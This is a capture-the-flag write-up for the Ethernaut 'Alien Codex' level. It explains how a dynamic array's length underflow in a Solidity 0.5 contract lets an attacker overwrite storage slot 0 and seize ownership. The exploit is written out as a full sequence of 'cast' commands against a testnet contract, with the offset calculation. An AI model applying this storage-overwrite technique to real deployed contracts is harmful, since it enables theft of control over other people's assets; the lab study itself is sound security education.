Alien Codex - The Ethernaut - Writeup
You’ve uncovered an Alien contract. Claim ownership to complete the level.
This is the code of the contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
To be able to pass this challenge we need to understand how dynamic arrays are stored in the EVM storage. First, a whole slot (32 bytes) is assigned to that array using standard slot assigment rules. The number stored in this slot will correspond to the number of elements of the array. Let’s see that.
The functions record, retract and revise are all modified with the contacted modifier, which only asks for the contact variable to be true, so let’s makeContact first:
cast send 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc "makeContact()" --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
Let’s push an element to the array:
cast send 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc "record(bytes32)" $(python -c 'print("0x" + "41"*32)') --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
Now, the slot 0 corresponds to the contacted and owner variables:
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc 0 --rpc-url $SEPOLIA_RPC_URL

And the slot 1 corresponds to the length of the array, which should be 1 now:
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc 1 --rpc-url $SEPOLIA_RPC_URL

Where is the data of the array stored? It is stored at the keccak-hash slot of the slot 1 (because that’s where the array length is at). After that, elements are stored sequentially:
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc $(cast keccak "0x0000000000000000000000000000000000000000000000000000000000000001") --rpc-url $SEPOLIA_RPC_URL

Great. We need to somehow overwrite the slot 0. Something to note about the contract is the solidity version:
pragma solidity ^0.5.0;
This version does not prevent integer underflows and overflows. We can use this to take advantage of the retract function, which subtracts 1 from the array length. When this is done, the length is decreased (modifying the slot 1) and the element that was stored at the last position is zeroed out. Let’s check that:
cast send 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc "retract()" --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc 1 --rpc-url $SEPOLIA_RPC_URL
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc $(cast keccak "0x0000000000000000000000000000000000000000000000000000000000000001") --rpc-url $SEPOLIA_RPC_URL


We also have the function revise, which will modify any position of the array. However, if we want to modify the position 5 of the array, it needs to have at least 5 elements. Otherwise, the transaction will revert. If we underflow the length up to 0xfff...ff, we will be able to control the whole storage:
cast send 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc "retract()" --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL
cast storage 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc 1 --rpc-url $SEPOLIA_RPC_URL

Now we need to compute the offset. We want to modify the slot 0. The slot 0xff...ff is the last one. We can compute the offset like this:
hex(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff + 1 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)
where 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 is the hash of 0x0000....01, which is where the array storage starts:


So now, we modify that position of the array and set our address:
cast send 0x99BD83c59dce916ee515A72869e511c1E4CBD5Cc "revise(uint256,bytes32)" 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a 0x00000000000000000000000012c5Da011f95E229Ba45f732e8f79608444D76b9 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

